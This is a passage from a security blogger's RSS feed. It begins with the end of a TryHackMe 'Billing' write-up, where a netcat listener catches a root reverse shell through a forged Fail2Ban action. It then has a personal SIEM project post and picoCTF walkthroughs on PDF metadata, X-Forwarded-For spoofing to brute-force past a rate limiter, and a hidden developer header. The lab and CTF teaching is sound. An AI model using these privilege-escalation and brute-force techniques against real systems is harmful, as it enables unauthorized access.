127.0.0.1</pre><h3>3. Capturing Root</h3><p>Over on our attack machine, we establish a separate listener to capture the secondary stage hook:</p><pre>nc -lnvp 5555</pre><p>As soon as the manual local ban command finishes processing, Fail2Ban executes the forged actionban rule, establishing a connection back to our listening shell with complete <strong>root</strong> authority.</p><h3>Summary &amp; Key Takeaways</h3><ol><li><strong>Sanitize Directory Permissions:</strong> Exposing application libraries and module trees (/lib/) under public directory paths increases the threat landscape significantly.</li><li><strong>Review Wildcard Sudo Entries Safely:</strong> Granting passwordless access to toolsets like fail2ban-client using wildcards (*) permits configuration tampering, effectively removing the security boundaries separating low-privilege service managers and root space.</li></ol><p><em>Originally published at </em><a href="https://starfellharbor.mooo.com/blog/Write-Up%20Billing%20THM/"><em>https://starfellharbor.mooo.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cd8202ba8d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Democratizing Cyber Defense]]></title>
            <link>https://medium.com/@harsha0x/democratizing-cyber-defense-0c5fdb4f287b?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c5fdb4f287b</guid>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[ideas]]></category>
            <category><![CDATA[projects]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Sat, 04 Apr 2026 03:12:28 GMT</pubDate>
            <atom:updated>2026-04-04T03:12:28.116Z</atom:updated>
            <content:encoded><![CDATA[<p>Building a Personal SIEM with Real-Time Active Response</p><h3>Introduction: The Visibility Gap</h3><p>In the current threat landscape, many developers and small-scale project owners operate in the dark. We deploy applications, set up firewalls, and hope for the best. But when an attack happens — be it a directory brute-force or a SQL injection attempt — the evidence is buried in thousands of lines of raw log text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*dYNgzZyJRrkj2i2J.png" /></figure><p>I believe that <strong>Security Posture</strong> shouldn’t be a luxury reserved for enterprises with six-figure budgets. That’s why I built the <strong>Security Analytics Dashboard</strong>: a lightweight, open-source personal SIEM (Security Information and Event Management) tool designed to give anyone real-time visibility and active defense capabilities.</p><h3>The Architecture: From Logs to Action</h3><p>What started as a visualization tool has evolved into a proactive defense system. The project now leverages a modern tech stack to ensure it is portable, scalable, and effective.</p><p><strong>1. Containerization with Docker</strong> To solve the “it works on my machine” problem, I’ve fully containerized the dashboard using <strong>Docker</strong>. This allows for seamless deployment. Whether you are running a local test environment or a production VPS, you can spin up the security stack in seconds. This ensures that the environment is isolated, secure, and easily reproducible.</p><p><strong>2. Real-Time Log Probing</strong> The heart of the system is the analysis engine. It doesn’t just read logs; it <em>probes</em> them. By monitoring incoming traffic patterns, the tool identifies:</p><ul><li><strong>Anomalous Request Rates:</strong> Identifying automated scanners and fuzzers.</li><li><strong>Malicious Payloads:</strong> Detecting common patterns associated with XSS and Injection attacks.</li><li><strong>Unauthorized Access Attempts:</strong> Tracking 401 and 403 status codes in real-time.</li></ul><p><strong>3. Active Defense: Live Blocking &amp; Unblocking</strong> This is the most significant update to the project. Monitoring is passive; defense is active. I have implemented a <strong>Live Blocking mechanism</strong>. When the system detects an IP address exceeding safety thresholds or attempting known exploits, it can automatically trigger a block at the system level.</p><ul><li><strong>Dynamic Control:</strong> Through the dashboard, users can see a list of “Flagged” or “Blocked” IPs.</li><li><strong>One-Click Mitigation:</strong> If an IP is identified as a false positive, it can be unblocked instantly through the UI, giving the administrator full granular control over their network perimeter.</li></ul><h3>Why Personal Projects Need This</h3><p>Most SIEM tools are “heavy” — they require massive resources and complex configurations. My goal was to create something that provides the <strong>80% of security value with 20% of the complexity</strong>.</p><p>By using this dashboard, a developer can:</p><ol><li><strong>Understand their attack surface</strong> by seeing where traffic is coming from.</li><li><strong>Verify their code’s resilience</strong> by watching how the dashboard reacts to manual penetration testing.</li><li><strong>Automate basic SOC tasks</strong> so they can focus on building features rather than staring at terminal outputs.</li></ol><h3>Current State &amp; Future Roadmap</h3><p>The project is currently in an “Active Development” phase. While the core engine and Docker integration are fully functional, I am working toward making the integration even more “plug-and-play” for various web servers (Nginx, Apache, etc.).</p><p><strong>How to get started:</strong> For now, the project is open-source. You can clone the repository, modify the configuration to point to your specific log paths, and run it via Docker Compose.</p><ul><li><strong>GitHub Repository:</strong> <a href="https://github.com/harsha1060/Security-Analytics-Dashboard">https://github.com/harsha1060/Security-Analytics-Dashboard</a></li><li><strong>Contributions:</strong> I am actively looking for feedback on the “Live Blocking” logic and dashboard UI.</li></ul><h3>Final Thoughts</h3><p>Security is a journey, not a destination. By building tools that make logs readable and defenses actionable, we can make the internet a safer place for everyone — one personal project at a time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c5fdb4f287b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking the Riddle: picoCTF Riddle Registry Walkthrough]]></title>
            <link>https://medium.com/@harsha0x/cracking-the-riddle-picoctf-riddle-registry-walkthrough-994951844db6?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/994951844db6</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[writing-challenge]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 09:46:20 GMT</pubDate>
            <atom:updated>2026-02-06T09:46:20.497Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome back, fellow hackers! Today we’re diving into a picoCTF challenge from the Forensics category: Riddle Registry. This challenge is a classic example of how “hidden” data isn’t always buried in complex code — -sometimes it’s right in the metadata of the files we use every day.</p><h3>The Challenge</h3><p>Challenge Link: <a href="https://play.picoctf.org/practice/challenge/530?page=1&amp;tag=63">picoCTF — Riddle Registry</a></p><p>Category: Forensics</p><p>Description: We are given a mysterious PDF file that seems to contain nothing but garbled text. The hint tells us to look beyond the surface and “uncover the flag within the metadata.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*Yd9evQlkATbCZZF5.png" /></figure><h3>Step 1: Initial Investigation</h3><p>Upon downloading and opening the file (often named confidential.pdf), you&#39;ll see a page full of nonsense characters. While some CTF challenges involve selecting &quot;white-on-white&quot; text or looking for hidden layers, the hint specifically points toward metadata.</p><p>Metadata is “data about data” — -it includes information like the author of a document, the software used to create it, and the date it was modified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GvohUUz6L124xltQ.png" /></figure><h3>Step 2: Extracting Metadata</h3><p>There are several ways to view PDF metadata. You can use command-line tools like exiftool or online metadata viewers.</p><h3>Using Exiftool (Linux/Mac)</h3><p>Open your terminal and run:</p><p>Bash</p><pre>exiftool confidential.pdf</pre><h3>What to Look For</h3><p>When you run the command, a list of properties will appear (File Name, Directory, File Size, etc.). In this challenge, the Author field stands out. Instead of a name, it contains a strange string of characters ending in an = sign---a dead giveaway for Base64 encoding.</p><p>Author : cGljb0NURntwdXp6bDNkX201dGFkYXRhX2YwdW5kIV80MjQ0MGM3ZH0=</p><h3>Step 3: Decoding the Flag</h3><p>Now that we have the Base64 string, we just need to decode it to reveal the plain text.</p><ol><li>Copy the string: cGljb0NURntwdXp6bDNkX201dGFkYXRhX2YwdW5kIV80MjQ0MGM3ZH0=</li><li>Use a terminal command or a tool like <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</li></ol><p>Using Terminal:</p><p>Bash</p><pre>echo &quot;cGljb0NURntwdXp6bDNkX201dGFkYXRhX2YwdW5kIV80MjQ0MGM3ZH0=&quot; | base64 -d</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=994951844db6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[⚔️ picoCTF Walkthrough: Crack the Gate 2]]></title>
            <link>https://medium.com/@harsha0x/%EF%B8%8F-picoctf-walkthrough-crack-the-gate-2-392de392f517?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/392de392f517</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[news]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 08:49:43 GMT</pubDate>
            <atom:updated>2026-02-05T08:49:43.253Z</atom:updated>
            <content:encoded><![CDATA[<p>Category: Web Exploitation 🌐 Challenge: Crack the Gate 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*PUD3QtagE47zxnYy.png" /></figure><p>Brute forcing a login page is usually simple, but Crack the Gate 2 threw a wrench in the gears. The challenge description warned that the login form would lock out any IP suspected of brute-forcing. I had the target email (ctf-player@picoctf.org) and a list of passwords, but I needed a way to beat the rate limiter. Here is how I smashed the gate.</p><h3>🛑 Step 1: The Barrier</h3><p>The application was smart. If I tried too many failed logins from my IP address, it would block me. To bypass this, I needed to make the server think the requests were coming from many <em>different</em> people, not just one attacker.</p><p>I researched HTTP headers used for identifying client IPs and found the golden key: X-Forwarded-For. This header tells the server the &quot;original&quot; IP of the client connecting through a proxy.</p><h3>🎭 Step 2: Setting the Stage with Burp Suite</h3><p>I fired up Burp Suite and captured a login request. I sent it to Intruder to automate the attack.</p><p>I needed to manipulate two things simultaneously:</p><ol><li>The Password: Iterating through the provided password list.</li><li>The IP Address: Spoofing a new IP for every request to avoid the ban.</li></ol><p>I added the header to my request: X-Forwarded-For: 192.0.0.§1§</p><h3>💥 Step 3: The “Pitchfork” Attack</h3><p>In the Intruder configuration, I set up the payloads.</p><ul><li>Payload 1 (IPs): I set this to increment numbers (1, 2, 3…) so the header would become 192.0.0.1, 192.0.0.2, and so on.</li><li>Payload 2 (Passwords): I loaded the password list provided by the challenge.</li></ul><p>By matching every password attempt with a fresh, fake IP address, I completely bypassed the brute-force protection. 🧠</p><h3>🎯 Step 4: Spotting the Winner</h3><p>I launched the attack and watched the results fly by. Most responses looked identical — -failed logins.</p><p>However, I sorted the results by Length. One response stood out because it had a different file size compared to the others. I checked the response body for that specific request, and there it was — -no error message, just the flag: picoCTF{...}.</p><h3>🚩 Conclusion</h3><p>This challenge was a masterclass in IP spoofing. It proved that rate limits based solely on IP addresses are easily bypassed if the server trusts the X-Forwarded-For header blindly! 🕵️‍♂️🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=392de392f517" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoCTF Walkthrough: Crack the Gate 1]]></title>
            <link>https://medium.com/@harsha0x/picoctf-walkthrough-crack-the-gate-1-47cf3ccabff9?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/47cf3ccabff9</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 08:48:34 GMT</pubDate>
            <atom:updated>2026-02-05T08:48:34.548Z</atom:updated>
            <content:encoded><![CDATA[<p>Category: Web Exploitation 🌐 Challenge: Crack the Gate 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*XmiqdaInrtUN3oL8.png" /></figure><p>Web challenges often hide the keys to the kingdom in places most users never look. Crack the Gate 1 was a classic example of “security by obscurity,” and here is how I managed to break in.</p><h3>📧 Step 1: The Initial Recon</h3><p>I started by reading the challenge description carefully. It gave me a specific target email to work with: ctf-player@picoctf.org.</p><p>Naturally, my first move was to try the front door. I went to the login form, entered the email, and tried a random password. As expected, the application rejected me immediately:</p><blockquote><em>❌ Invalid credentials</em></blockquote><p>The front door was locked, so it was time to look for a window.</p><h3>🕵️‍♂️ Step 2: Snooping in the Source</h3><p>When a web page blocks you, the next step is always to check what’s happening behind the scenes. I right-clicked and hit View Page Source (or Ctrl+U).</p><p>I scrolled through the HTML, looking for comments or hidden scripts. That’s when I stumbled upon something strange — -a comment containing a string of weird, jumbled text. It didn’t look like standard base64 or hex; the structure seemed like a simple substitution cipher.</p><h3>🔄 Step 3: Decoding the Clue</h3><p>I suspected ROT13 (a Caesar cipher that rotates letters by 13 places), which is a CTF favorite for hiding hints.</p><p>I tossed the text into a decoder, and sure enough, it unscrambled into a readable sentence. The hidden message was a directive for developers:</p><blockquote><em>“Use header X-Dev-Access: yes” 🔓</em></blockquote><p>This wasn’t a password; it was an instruction to modify the HTTP request itself.</p><h3>🛠️ Step 4: Intercepting with Burp Suite</h3><p>Now that I knew the secret handshake, I needed a way to send it to the server. I fired up Burp Suite to act as a proxy between my browser and the server.</p><ol><li>I captured the login request again.</li><li>I sent it to the Repeater tab.</li><li>I manually added the new header to the request:</li><li>HTTP</li></ol><ul><li>X-Dev-Access: yes</li></ul><h3>🚩 Conclusion</h3><p>The server response came back, and this time, there was no “Invalid credentials” error. Instead, the response contained the sweet victory text: picoCTF{...}.</p><p>This challenge was a great reminder that not all authentication happens in the password field — -sometimes, it’s hidden in the headers! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47cf3ccabff9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>